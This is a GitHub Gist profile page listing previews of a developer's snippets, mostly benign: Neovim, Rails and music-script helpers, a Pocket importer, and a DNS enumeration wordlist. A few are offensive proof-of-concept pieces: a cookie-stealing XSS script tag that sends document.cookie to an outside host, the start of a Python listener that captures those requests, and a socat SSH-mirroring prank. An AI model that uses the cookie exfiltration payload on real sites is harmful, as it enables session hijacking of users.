Skip to content

Instantly share code, notes, and snippets.

View cgimenes's full-sized avatar

Marcelo Gimenes de Oliveira cgimenes

View GitHub Profile
@cgimenes
cgimenes / harpoon_tabline.lua
Created February 19, 2024 19:09
Harpoon files in tabline through Lualine with colored text and switch on click
local colors = require("kanagawa.colors").setup()
local theme_colors = colors.theme
vim.api.nvim_set_hl(0, 'HarpoonActive', { ctermbg = 0, fg = theme_colors.syn.identifier, bg = theme_colors.ui.bg })
vim.api.nvim_set_hl(0, 'HarpoonNumberActive', { ctermbg = 0, fg = theme_colors.syn.number, bg = theme_colors.ui.bg })
vim.api.nvim_set_hl(0, 'HarpoonInactive', { ctermbg = 0, fg = theme_colors.syn.fg, bg = theme_colors.ui.bg_p1 })
vim.api.nvim_set_hl(0, 'HarpoonNumberInactive', { ctermbg = 0, fg = theme_colors.syn.number, bg = theme_colors.ui.bg_p1 })
local function harpoon_files()
local harpoon = require("harpoon")
@cgimenes
cgimenes / enum.md
Created August 25, 2021 10:27
Better enum solution for Rails

Migration Generation

rails g migration add_status_to_catalogs status:catalog_status

Migration

class AddStatusToCatalogs < ActiveRecord::Migration[5.1]
  def up
 execute &lt;&lt;-SQL
@cgimenes
cgimenes / dronePad.js
Last active February 1, 2022 20:05
Mainstage Scripter's Drone Pad Script
var PluginParameters = [
{
name: "Key",
type: "menu",
valueStrings: ["A", "Bb", "B", "C", "Db", "D", "Eb", "E", "F", "Gb", "G", "Ab"],
minValue: 0,
maxValue: 11,
defaultValue: 0,
numberOfSteps: 11
}, {
@cgimenes
cgimenes / all.txt
Created January 8, 2020 12:32 — forked from jhaddix/all.txt
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
@cgimenes
cgimenes / pocket_importer.rb
Created June 1, 2019 16:51
Import to Pocket from a file (CSV or lines)
require 'httparty'
require 'socket'
require 'cgi'
require 'csv'
require 'json'
require 'thor'
class PocketAPI
def initialize(consumer_key)
@consumer_key = consumer_key
@cgimenes
cgimenes / ssh_mirror.sh
Created May 27, 2019 21:39
Confuse people SSHing to your host with a redirect back to theirs
socat -d -d TCP-L:22,reuseaddr,fork SYSTEM:"nc \$SOCAT_PEERADDR 22"
@cgimenes
cgimenes / for.sh
Last active August 2, 2019 17:49
Bash's for block examples
for ip in $(cat ips); do
nc -z -w 1 -v $ip 80
done
for file in $(find . -name .git -type d -prune); do
cd $file
cd ..
gmg @sec register $(pwd)
cd ~/security
done
@cgimenes
cgimenes / cli.py
Last active May 7, 2019 14:47
Simple python CLI script for example
import requests
import sys
import urllib3
import argparse
from collections import OrderedDict
def main(args):
ranges = OrderedDict()
for item in args.many:
@cgimenes
cgimenes / session-hijacker.js
Created March 6, 2019 12:41
Simple script for session hijacking PoCs
<script>document.createElement("img").src = "http://toninho:8080/?cookie="+document.cookie;</script>
@cgimenes
cgimenes / session-hijacker.py
Last active August 3, 2020 20:36
Simple HTTP server for session hijacking PoCs
#!/usr/bin/env python
from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers)
self.send_response(204)